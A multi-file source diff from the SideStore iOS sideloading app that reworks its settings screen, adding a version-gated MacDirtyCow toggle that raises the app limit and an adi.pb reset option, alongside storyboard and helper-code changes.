<rect key="frame" x="0.0" y="1176" width="375" height="51"/>
<rect key="frame" x="0.0" y="1263" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="e7s-hL-kv9" id="yjL-Mu-HTk">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Anisette Servers" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="eds-Dj-36y">
<rect key="frame" x="30" y="15.5" width="135.5" height="20.5"/>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Reset adi.pb" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="eds-Dj-36y">
<rect key="frame" x="30" y="15.5" width="102" height="20.5"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/>
@@ -746,6 +753,39 @@
</tableViewCellContentView>
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
<userDefinedRuntimeAttributes>
<userDefinedRuntimeAttribute type="number" keyPath="style">
<integer key="value" value="2"/>
</userDefinedRuntimeAttribute>
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
</userDefinedRuntimeAttributes>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="fj2-EJ-Z98" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="1314" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="fj2-EJ-Z98" id="BcT-Fs-KNg">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Advanced Settings" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="OcM-OM-uDE">
<rect key="frame" x="30" y="15.5" width="154" height="20.5"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/>
</label>
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Pcu-Sy-yfZ">
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
</imageView>
</subviews>
<constraints>
<constraint firstAttribute="trailingMargin" secondItem="Pcu-Sy-yfZ" secondAttribute="trailing" id="CFy-IO-4eb"/>
<constraint firstItem="OcM-OM-uDE" firstAttribute="centerY" secondItem="BcT-Fs-KNg" secondAttribute="centerY" id="OGl-h4-FPx"/>
<constraint firstItem="Pcu-Sy-yfZ" firstAttribute="centerY" secondItem="BcT-Fs-KNg" secondAttribute="centerY" id="R7L-4O-lTn"/>
<constraint firstItem="OcM-OM-uDE" firstAttribute="leading" secondItem="BcT-Fs-KNg" secondAttribute="leadingMargin" id="yoh-C6-UC5"/>
</constraints>
</tableViewCellContentView>
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
<userDefinedRuntimeAttributes>
<userDefinedRuntimeAttribute type="number" keyPath="style">
<integer key="value" value="3"/>
@@ -762,6 +802,7 @@
</tableView>
<navigationItem key="navigationItem" title="Settings" id="Ddg-UQ-KJ8"/>
<connections>
<outlet property="MDCSwitch" destination="6NJ-PB-6Jz" id="bwj-oN-oRv"/>
<outlet property="accountEmailLabel" destination="0uP-Cd-tNX" id="14b-aL-yE3"/>
<outlet property="accountNameLabel" destination="CnN-M1-AYK" id="Ldc-Py-Bix"/>
<outlet property="accountTypeLabel" destination="434-MW-Den" id="mNB-QE-4Jg"/>
@@ -782,7 +823,7 @@
<toolbarItems/>
<simulatedTabBarMetrics key="simulatedBottomBarMetrics"/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" barStyle="black" largeTitles="YES" id="Jtn-cs-Tvp" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="20" width="375" height="96"/>
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/>
<color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<color key="barTintColor" name="SettingsBackground"/>
@@ -883,7 +924,7 @@
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews>
<textView clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" layoutMarginsFollowReadableWidth="YES" contentInsetAdjustmentBehavior="never" indicatorStyle="white" editable="NO" translatesAutoresizingMaskIntoConstraints="NO" id="oQQ-pR-oKc">
<rect key="frame" x="0.0" y="64" width="375" height="554"/>
<rect key="frame" x="0.0" y="44" width="375" height="574"/>
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
<string key="text">Jay Freeman (ldid)
Copyright (C) 2007-2012 Jay Freeman (saurik)
@@ -1117,7 +1158,7 @@ Settings by i cons from the Noun Project</string>
</textView>
</subviews>
</stackView>
<button opaque="NO" contentMode="scaleToFill" showsMenuAsPrimaryAction="YES" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="ba2-EY-tf5" customClass="ErrorLogMenuButton">
<button opaque="NO" contentMode="scaleToFill" showsMenuAsPrimaryAction="YES" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="ba2-EY-tf5">
<rect key="frame" x="0.0" y="0.0" width="343" height="107.5"/>
<accessibility key="accessibilityConfiguration">
<bool key="isElement" value="NO"/>
@@ -1166,73 +1207,11 @@ Settings by i cons from the Noun Project</string>
</barButtonItem>
</rightBarButtonItems>
</navigationItem>
<connections>
<segue destination="7gm-d1-zWK" kind="presentation" identifier="showErrorDetails" id="9vz-y6-evp"/>
</connections>
</tableViewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="rU1-TZ-TD8" userLabel="First Responder" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="1697" y="1774"/>
</scene>
<!--Error Details View Controller-->
<scene sceneID="XNO-Yg-I7t">
<objects>
<viewController id="xB2-Se-VVg" customClass="ErrorDetailsViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="eBQ-se-VIy">
<rect key="frame" x="0.0" y="0.0" width="375" height="647"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews>
<textView clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" editable="NO" textAlignment="natural" translatesAutoresizingMaskIntoConstraints="NO" id="ctd-NB-4ov">
<rect key="frame" x="0.0" y="0.0" width="375" height="647"/>
<color key="backgroundColor" systemColor="systemBackgroundColor"/>
<color key="textColor" systemColor="labelColor"/>
<fontDescription key="fontDescription" style="UICTFontTextStyleBody"/>
<textInputTraits key="textInputTraits" autocapitalizationType="sentences"/>
</textView>
</subviews>
<viewLayoutGuide key="safeArea" id="Nm8-69-Ngi"/>
<color key="backgroundColor" systemColor="systemBackgroundColor"/>
<constraints>
<constraint firstItem="ctd-NB-4ov" firstAttribute="leading" secondItem="eBQ-se-VIy" secondAttribute="leading" id="Cv1-Te-gBH"/>
<constraint firstItem="ctd-NB-4ov" firstAttribute="top" secondItem="eBQ-se-VIy" secondAttribute="top" id="HRY-Rg-iMI"/>
<constraint firstAttribute="trailing" secondItem="ctd-NB-4ov" secondAttribute="trailing" id="Lc1-K7-iuq"/>
<constraint firstAttribute="bottom" secondItem="ctd-NB-4ov" secondAttribute="bottom" id="zCz-Cy-Y5z"/>
</constraints>
</view>
<navigationItem key="navigationItem" id="XpE-V9-EaY">
<barButtonItem key="rightBarButtonItem" style="done" systemItem="done" id="rnr-dX-4Ev">
<connections>
<segue destination="ZSp-1n-UJ9" kind="unwind" unwindAction="unwindFromErrorDetails:" id="TFu-zD-QyF"/>
</connections>
</barButtonItem>
</navigationItem>
<connections>
<outlet property="textView" destination="ctd-NB-4ov" id="x2C-9R-Xz1"/>
</connections>
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="8AM-Vx-XTN" userLabel="First Responder" customClass="UIResponder" sceneMemberID="firstResponder"/>
<exit id="ZSp-1n-UJ9" userLabel="Exit" sceneMemberID="exit"/>
</objects>
<point key="canvasLocation" x="3389.5999999999999" y="1772.5637181409297"/>
</scene>
<!--Navigation Controller-->
<scene sceneID="4LJ-Od-dCK">
<objects>
<navigationController automaticallyAdjustsScrollViewInsets="NO" id="7gm-d1-zWK" sceneMemberID="viewController">
<toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" id="dI0-sh-yGf">
<rect key="frame" x="0.0" y="0.0" width="375" height="56"/>
<autoresizingMask key="autoresizingMask"/>
</navigationBar>
<nil name="viewControllers"/>
<connections>
<segue destination="xB2-Se-VVg" kind="relationship" relationship="rootViewController" id="RpP-UM-JfJ"/>
</connections>
</navigationController>
<placeholder placeholderIdentifier="IBFirstResponder" id="OXW-bf-HIj" userLabel="First Responder" customClass="UIResponder" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="2554" y="1773"/>
</scene>
</scenes>
<resources>
<image name="Next" width="18" height="18"/>
@@ -1245,10 +1224,7 @@ Settings by i cons from the Noun Project</string>
<color white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</systemColor>
<systemColor name="labelColor">
<color white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</systemColor>
<systemColor name="systemBackgroundColor">
<color white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<color red="0.0" green="0.0" blue="0.0" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</systemColor>
</resources>
</document>

View File

@@ -7,7 +7,6 @@
//
import UIKit
import SwiftUI
import SafariServices
import MessageUI
import Intents
@@ -25,6 +24,7 @@ extension SettingsViewController
case appRefresh
case instructions
case credits
case mdc
case debug
}
@@ -55,10 +55,9 @@ extension SettingsViewController
case sendFeedback
case refreshAttempts
case errorLog
case refreshSideJITServer
case clearCache
case resetPairingFile
case anisetteServers
case resetAdiPb
case advancedSettings
}
@@ -79,8 +78,7 @@ final class SettingsViewController: UITableViewController
@IBOutlet private var backgroundRefreshSwitch: UISwitch!
@IBOutlet private var noIdleTimeoutSwitch: UISwitch!
@IBOutlet private var refreshSideJITServer: UILabel!
@IBOutlet private var MDCSwitch: UISwitch!
@IBOutlet private var versionLabel: UILabel!
@@ -93,7 +91,6 @@ final class SettingsViewController: UITableViewController
super.init(coder: aDecoder)
NotificationCenter.default.addObserver(self, selector: #selector(SettingsViewController.openPatreonSettings(_:)), name: AppDelegate.openPatreonSettingsDeepLinkNotification, object: nil)
NotificationCenter.default.addObserver(self, selector: #selector(SettingsViewController.openErrorLog(_:)), name: ToastView.openErrorLogNotification, object: nil)
}
override func viewDidLoad()
@@ -111,36 +108,16 @@ final class SettingsViewController: UITableViewController
debugModeGestureRecognizer.numberOfTouchesRequired = 3
self.tableView.addGestureRecognizer(debugModeGestureRecognizer)
var versionString: String = ""
if let version = Bundle.main.object(forInfoDictionaryKey: "CFBundleShortVersionString") as? String
{
versionString += "SideStore \(version)"
if let xcode = Bundle.main.object(forInfoDictionaryKey: "DTXcode") as? String {
versionString += " - Xcode \(xcode) - "
if let build = Bundle.main.object(forInfoDictionaryKey: "DTXcodeBuild") as? String {
versionString += "\(build)"
}
}
if let pairing = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String {
let pair_test = pairing == "<insert pairing file here>"
if !pair_test {
versionString += " - \(!pair_test)"
}
}
self.versionLabel.text = NSLocalizedString(String(format: "SideStore %@", version), comment: "SideStore Version")
}
else
{
versionString += "SideStore\t"
self.versionLabel.text = NSLocalizedString("SideStore", comment: "")
}
versionString += "\n\(Bundle.Info.appbundleIdentifier)"
self.versionLabel.text = NSLocalizedString(versionString, comment: "SideStore Version")
self.versionLabel.numberOfLines = 0
self.versionLabel.lineBreakMode = .byWordWrapping
self.versionLabel.setNeedsUpdateConstraints()
self.tableView.contentInset.bottom = 40
self.tableView.contentInset.bottom = 20
self.update()
@@ -157,18 +134,6 @@ final class SettingsViewController: UITableViewController
self.update()
}
override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
if segue.identifier == "anisetteServers" {
let controller = UIHostingController(rootView: AnisetteServers(selected: UserDefaults.standard.menuAnisetteURL, errorCallback: {
ToastView(text: "Cleared adi.pb!", detailText: "You will need to log back into Apple ID in SideStore.").show(in: self)
}))
self.show(controller, sender: nil)
} else {
super.prepare(for: segue, sender: sender)
}
}
}
private extension SettingsViewController
@@ -191,6 +156,29 @@ private extension SettingsViewController
self.backgroundRefreshSwitch.isOn = UserDefaults.standard.isBackgroundRefreshEnabled
self.noIdleTimeoutSwitch.isOn = UserDefaults.standard.isIdleTimeoutDisableEnabled
let MDCMinimumVersion = OperatingSystemVersion(majorVersion: 14, minorVersion: 0, patchVersion: 0)
let MDCMaximumVersion1 = OperatingSystemVersion(majorVersion: 15, minorVersion: 7, patchVersion: 2)
let MDCMaximumVersionSep = OperatingSystemVersion(majorVersion: 16, minorVersion: 0, patchVersion: 0)
let MDCMaximumVersion2 = OperatingSystemVersion(majorVersion: 16, minorVersion: 2, patchVersion: 0)
var canUseMDC = false
if ProcessInfo.processInfo.isOperatingSystemAtLeast(MDCMinimumVersion) { // at least 14.0.0
if !ProcessInfo.processInfo.isOperatingSystemAtLeast(MDCMaximumVersion1) { // not at least 15.7.2 (less than 15.7.2)
canUseMDC = true
}
if !ProcessInfo.processInfo.isOperatingSystemAtLeast(MDCMaximumVersion2) && ProcessInfo.processInfo.isOperatingSystemAtLeast(MDCMaximumVersionSep) { // not at least 16.2.0 but more than 16.0.0
canUseMDC = true
}
}
if !canUseMDC {
UserDefaults.standard.isMDCEnabled = false
}
self.MDCSwitch.isOn = UserDefaults.standard.isMDCEnabled
self.MDCSwitch.isEnabled = canUseMDC
if self.isViewLoaded
{
self.tableView.reloadData()
@@ -203,7 +191,7 @@ private extension SettingsViewController
settingsHeaderFooterView.secondaryLabel.isHidden = isHeader
settingsHeaderFooterView.button.isHidden = true
settingsHeaderFooterView.layoutMargins.bottom = isHeader ? 0 : 8
settingsHeaderFooterView.layoutMargins.bottom = isHeader ? 0 : 9
switch section
{
@@ -241,7 +229,7 @@ private extension SettingsViewController
}
else
{
settingsHeaderFooterView.secondaryLabel.text = NSLocalizedString("Enable Background Refresh to automatically refresh apps in the background when connected to Wi-Fi. \n\nDisable the Idle Timeout toggle to allow SideStore to not let your device go to sleep during a refresh or install of any apps.", comment: "")
settingsHeaderFooterView.secondaryLabel.text = NSLocalizedString("Enable Background Refresh to automatically refresh apps in the background when connected to Wi-Fi.", comment: "")
}
case .instructions:
@@ -249,6 +237,21 @@ private extension SettingsViewController
case .credits:
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("CREDITS", comment: "")
case .mdc:
if isHeader
{
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("MACDIRTYCOW", comment: "")
}
else
{
#if MACDIRTYCOW
settingsHeaderFooterView.secondaryLabel.text = NSLocalizedString("This only works on iOS 15 - 15.7.1 and iOS 16 - iOS 16.1.2", comment: "")
#else
settingsHeaderFooterView.secondaryLabel.text = NSLocalizedString("This only works on iOS 15 - 15.7.1 and iOS 16 - iOS 16.1.2. This build is not a MacDirtyCow build, therefore this will only lift the 3 app limit", comment: "")
#endif
settingsHeaderFooterView.secondaryLabel.isHidden = false
}
case .debug:
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("DEBUG", comment: "")
@@ -327,6 +330,17 @@ private extension SettingsViewController
UserDefaults.standard.isIdleTimeoutDisableEnabled = sender.isOn
}
@IBAction func toggleMDCEnabled(_ sender: UISwitch)
{
UserDefaults.standard.isMDCEnabled = sender.isOn
if sender.isOn {
UserDefaults.standard.activeAppsLimit = 69420
}
else {
UserDefaults.standard.activeAppsLimit = 3
}
}
@available(iOS 14, *)
@IBAction func addRefreshAppsShortcut()
{
@@ -425,15 +439,6 @@ private extension SettingsViewController
self.performSegue(withIdentifier: "showPatreon", sender: nil)
}
}
@objc func openErrorLog(_: Notification) {
guard self.presentedViewController == nil else { return }
self.navigationController?.popViewController(animated: false)
DispatchQueue.main.asyncAfter(deadline: .now() + 0.1) {
self.performSegue(withIdentifier: "showErrorLog", sender: nil)
}
}
}
extension SettingsViewController
@@ -466,14 +471,14 @@ extension SettingsViewController
{
let cell = super.tableView(tableView, cellForRowAt: indexPath)
if #available(iOS 14, *) {}
else if let cell = cell as? InsetGroupTableViewCell,
indexPath.section == Section.appRefresh.rawValue,
indexPath.row == AppRefreshRow.backgroundRefresh.rawValue
{
// Only one row is visible pre-iOS 14.
cell.style = .single
}
// if #available(iOS 14, *) {}
// else if let cell = cell as? InsetGroupTableViewCell,
// indexPath.section == Section.appRefresh.rawValue,
// indexPath.row == AppRefreshRow.backgroundRefresh.rawValue
// {
// // Only one row is visible pre-iOS 14.
// cell.style = .single
// }
if AppRefreshRow.AllCases().count == 1
{
@@ -496,7 +501,7 @@ extension SettingsViewController
{
case .signIn where self.activeTeam != nil: return nil
case .account where self.activeTeam == nil: return nil
case .signIn, .account, .patreon, .appRefresh, .credits, .debug:
case .signIn, .account, .patreon, .appRefresh, .credits, .debug, .mdc:
let headerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
self.prepare(headerView, for: section, isHeader: true)
return headerView
@@ -511,7 +516,7 @@ extension SettingsViewController
switch section
{
case .signIn where self.activeTeam != nil: return nil
case .signIn, .patreon, .appRefresh:
case .signIn, .patreon, .appRefresh, .mdc:
let footerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
self.prepare(footerView, for: section, isHeader: false)
return footerView
@@ -527,7 +532,7 @@ extension SettingsViewController
{
case .signIn where self.activeTeam != nil: return 1.0
case .account where self.activeTeam == nil: return 1.0
case .signIn, .account, .patreon, .appRefresh, .credits, .debug:
case .signIn, .account, .patreon, .appRefresh, .credits, .debug, .mdc:
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: true)
return height
@@ -542,7 +547,7 @@ extension SettingsViewController
{
case .signIn where self.activeTeam != nil: return 1.0
case .account where self.activeTeam == nil: return 1.0
case .signIn, .patreon, .appRefresh:
case .signIn, .patreon, .appRefresh, .mdc:
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: false)
return height
@@ -610,64 +615,8 @@ extension SettingsViewController
toastView.show(in: self)
}
case .refreshSideJITServer:
if #available(iOS 17, *) {
let alertController = UIAlertController(
title: NSLocalizedString("Are you sure to Refresh SideJITServer?", comment: ""),
message: NSLocalizedString("if you do not have SideJITServer setup this will do nothing", comment: ""),
preferredStyle: UIAlertController.Style.actionSheet)
alertController.addAction(UIAlertAction(title: NSLocalizedString("Refresh", comment: ""), style: .destructive){ _ in
if UserDefaults.standard.sidejitenable {
var SJSURL = ""
if (UserDefaults.standard.textInputSideJITServerurl ?? "").isEmpty {
SJSURL = "http://sidejitserver._http._tcp.local:8080"
} else {
SJSURL = UserDefaults.standard.textInputSideJITServerurl ?? ""
} // replace with your URL
let url = URL(string: SJSURL + "/re/")!
let task = URLSession.shared.dataTask(with: url) { (data, response, error) in
if let error = error {
print("Error: \(error)")
} else {
// Do nothing with data or response
}
}
task.resume()
}
})
alertController.addAction(.cancel)
//Fix crash on iPad
alertController.popoverPresentationController?.sourceView = self.tableView
alertController.popoverPresentationController?.sourceRect = self.tableView.rectForRow(at: indexPath)
self.present(alertController, animated: true)
self.tableView.deselectRow(at: indexPath, animated: true)
} else {
let alertController = UIAlertController(
title: NSLocalizedString("You are not on iOS 17+ This will not work", comment: ""),
message: NSLocalizedString("This is meant for 'SideJITServer' and it only works on iOS 17+ ", comment: ""),
preferredStyle: UIAlertController.Style.actionSheet)
alertController.addAction(UIAlertAction(title: NSLocalizedString("OK", comment: ""), style: .destructive){ _ in
print("Not on iOS 17")
})
alertController.addAction(.cancel)
//Fix crash on iPad
alertController.popoverPresentationController?.sourceView = self.tableView
alertController.popoverPresentationController?.sourceRect = self.tableView.rectForRow(at: indexPath)
self.present(alertController, animated: true)
self.tableView.deselectRow(at: indexPath, animated: true)
}
case .clearCache: self.clearCache()
case .resetPairingFile:
let filename = "ALTPairingFile.mobiledevicepairing"
let fm = FileManager.default
@@ -679,12 +628,11 @@ extension SettingsViewController
alertController.addAction(UIAlertAction(title: NSLocalizedString("Delete and Reset", comment: ""), style: .destructive){ _ in
if fm.fileExists(atPath: documentsPath.path), let contents = try? String(contentsOf: documentsPath), !contents.isEmpty {
UserDefaults.standard.isPairingReset = true
try? fm.removeItem(atPath: documentsPath.path)
NSLog("Pairing File Reseted")
}
self.tableView.deselectRow(at: indexPath, animated: true)
let dialogMessage = UIAlertController(title: NSLocalizedString("Pairing File Reset", comment: ""), message: NSLocalizedString("Please restart SideStore", comment: ""), preferredStyle: .alert)
let dialogMessage = UIAlertController(title: NSLocalizedString("Pairing File Reseted", comment: ""), message: NSLocalizedString("Please restart SideStore", comment: ""), preferredStyle: .alert)
self.present(dialogMessage, animated: true, completion: nil)
})
alertController.addAction(.cancel)
@@ -693,11 +641,25 @@ extension SettingsViewController
alertController.popoverPresentationController?.sourceRect = self.tableView.rectForRow(at: indexPath)
self.present(alertController, animated: true)
self.tableView.deselectRow(at: indexPath, animated: true)
case .anisetteServers:
self.prepare(for: UIStoryboardSegue(identifier: "anisetteServers", source: self, destination: UIHostingController(rootView: AnisetteServers(selected: "", errorCallback: {
ToastView(text: "Reset adi.pb", detailText: "Buh").show(in: self)
}))), sender: nil)
// self.performSegue(withIdentifier: "anisetteServers", sender: nil)
case .resetAdiPb:
let alertController = UIAlertController(
title: NSLocalizedString("Are you sure you want to reset the adi.pb file?", comment: ""),
message: NSLocalizedString("The adi.pb file is used to generate anisette data, which is required to log into an Apple ID. If you are having issues with account related things, you can try this. However, you will be required to do 2FA again. This will do nothing if you are using an older anisette server.", comment: ""),
preferredStyle: UIAlertController.Style.actionSheet)
alertController.addAction(UIAlertAction(title: NSLocalizedString("Reset adi.pb", comment: ""), style: .destructive){ _ in
if Keychain.shared.adiPb != nil {
Keychain.shared.adiPb = nil
print("Cleared adi.pb from keychain")
}
self.tableView.deselectRow(at: indexPath, animated: true)
})
alertController.addAction(.cancel)
//Fix crash on iPad
alertController.popoverPresentationController?.sourceView = self.tableView
alertController.popoverPresentationController?.sourceRect = self.tableView.rectForRow(at: indexPath)
self.present(alertController, animated: true)
self.tableView.deselectRow(at: indexPath, animated: true)
case .advancedSettings:
// Create the URL that deep links to your app's custom settings.
if let url = URL(string: UIApplication.openSettingsURLString) {

View File

@@ -12,22 +12,17 @@ import CoreData
import AltStoreCore
import Roxas
struct SourceError: ALTLocalizedError
struct SourceError: LocalizedError
{
enum Code: Int, ALTErrorCode
enum Code
{
typealias Error = SourceError
case unsupported
}
var code: Code
var errorTitle: String?
var errorFailure: String?
@Managed var source: Source
var errorFailureReason: String {
var errorDescription: String? {
switch self.code
{
case .unsupported: return String(format: NSLocalizedString("The source “%@” is not supported by this version of SideStore.", comment: ""), self.$source.name)
@@ -202,7 +197,7 @@ private extension SourcesViewController
{
let alertController = UIAlertController(title: NSLocalizedString("Add Source", comment: ""), message: nil, preferredStyle: .alert)
alertController.addTextField { (textField) in
textField.placeholder = "https://apps.sidestore.io"
textField.placeholder = "https://apps.altstore.io"
textField.textContentType = .URL
}
alertController.addAction(.cancel)
@@ -550,19 +545,19 @@ extension SourcesViewController: UICollectionViewDelegateFlowLayout
footerView.textView.delegate = self
let attributedText = NSMutableAttributedString(
string: NSLocalizedString("SideStore has reviewed these sources to make sure they meet our safety standards.", comment: ""),
string: NSLocalizedString("SideStore has reviewed these sources to make sure they meet our safety standards.\n\nSupport for untrusted sources is currently in beta, but you can help test them out by", comment: ""),
attributes: [.font: font, .foregroundColor: UIColor.gray]
)
//attributedText.mutableString.append(" ")
attributedText.mutableString.append(" ")
//let boldedFont = UIFont(descriptor: font.fontDescriptor.withSymbolicTraits(.traitBold)!, size: font.pointSize)
//let openPatreonURL = URL(string: "https://SideStore.io/")!
let boldedFont = UIFont(descriptor: font.fontDescriptor.withSymbolicTraits(.traitBold)!, size: font.pointSize)
let openPatreonURL = URL(string: "https://SideStore.io/patreon")!
// let joinPatreonText = NSAttributedString(
// string: NSLocalizedString("", comment: ""),
// attributes: [.font: boldedFont, .link: openPatreonURL, .underlineColor: UIColor.clear]
//)
//attributedText.append(joinPatreonText)
let joinPatreonText = NSAttributedString(
string: NSLocalizedString("joining our Patreon.", comment: ""),
attributes: [.font: boldedFont, .link: openPatreonURL, .underlineColor: UIColor.clear]
)
attributedText.append(joinPatreonText)
footerView.textView.attributedText = attributedText
footerView.textView.textAlignment = .natural

View File

@@ -33,7 +33,6 @@ final class TabBarController: UITabBarController
NotificationCenter.default.addObserver(self, selector: #selector(TabBarController.openPatreonSettings(_:)), name: AppDelegate.openPatreonSettingsDeepLinkNotification, object: nil)
NotificationCenter.default.addObserver(self, selector: #selector(TabBarController.importApp(_:)), name: AppDelegate.importAppDeepLinkNotification, object: nil)
NotificationCenter.default.addObserver(self, selector: #selector(TabBarController.presentSources(_:)), name: AppDelegate.addSourceDeepLinkNotification, object: nil)
NotificationCenter.default.addObserver(self, selector: #selector(TabBarController.openErrorLog(_:)), name: ToastView.openErrorLogNotification, object: nil)
}
override func viewDidAppear(_ animated: Bool)
@@ -142,7 +141,4 @@ private extension TabBarController
{
self.selectedIndex = Tab.myApps.rawValue
}
@objc func openErrorLog(_: Notification){
self.selectedIndex = Tab.settings.rawValue
}
}

View File

@@ -10,27 +10,23 @@ import Foundation
import CoreData
@propertyWrapper @dynamicMemberLookup
struct Managed<ManagedObject>
struct Managed<ManagedObject: NSManagedObject>
{
var wrappedValue: ManagedObject {
didSet {
self.managedObjectContext = self.managedObject?.managedObjectContext
self.managedObjectContext = self.wrappedValue.managedObjectContext
}
}
private var managedObjectContext: NSManagedObjectContext?
var projectedValue: Managed<ManagedObject> {
return self
}
private var managedObjectContext: NSManagedObjectContext?
private var managedObject: NSManagedObject? {
return self.wrappedValue as? NSManagedObject
}
init(wrappedValue: ManagedObject)
{
self.wrappedValue = wrappedValue
self.managedObjectContext = self.managedObject?.managedObjectContext
self.managedObjectContext = wrappedValue.managedObjectContext
}
subscript<T>(dynamicMember keyPath: KeyPath<ManagedObject, T>) -> T
@@ -50,18 +46,4 @@ struct Managed<ManagedObject>
return result
}
// Optionals
subscript<Wrapped, T>(dynamicMember keyPath: KeyPath<Wrapped, T>) -> T? where ManagedObject == Optional<Wrapped> {
var result: T?
if let context = self.managedObjectContext {
context.performAndWait {
result = self.wrappedValue?[keyPath: keyPath] as? T
}
} else {
result = self.wrappedValue?[keyPath: keyPath] as? T
}
return result
}
}

View File

@@ -23,6 +23,5 @@ FOUNDATION_EXPORT const unsigned char AltStoreCoreVersionString[];
// Shared
#import <AltStoreCore/ALTConstants.h>
#import <AltStoreCore/ALTConnection.h>
#import <AltStoreCore/ALTWrappedError.h>
#import <AltStoreCore/NSError+ALTServerError.h>
#import <AltStoreCore/CFNotificationName+AltStore.h>

View File

@@ -1,18 +0,0 @@
//
// OperatingSystemVersion+Comparable.swift
// AltStoreCore
//
// Created by nythepegasus on 5/9/24.
//
import Foundation
extension OperatingSystemVersion: Comparable {
public static func ==(lhs: OperatingSystemVersion, rhs: OperatingSystemVersion) -> Bool {
return lhs.majorVersion == rhs.majorVersion && lhs.minorVersion == rhs.minorVersion && lhs.patchVersion == rhs.patchVersion
}
public static func <(lhs: OperatingSystemVersion, rhs: OperatingSystemVersion) -> Bool {
return lhs.stringValue.compare(rhs.stringValue, options: .numeric) == .orderedAscending
}
}

View File

@@ -1,14 +0,0 @@
//
// String+SideStore.swift
// AltStoreCore
//
// Created by nythepegasus on 5/9/24.
//
import Foundation
public extension String {
init(formatted: String, comment: String? = nil, _ args: String...) {
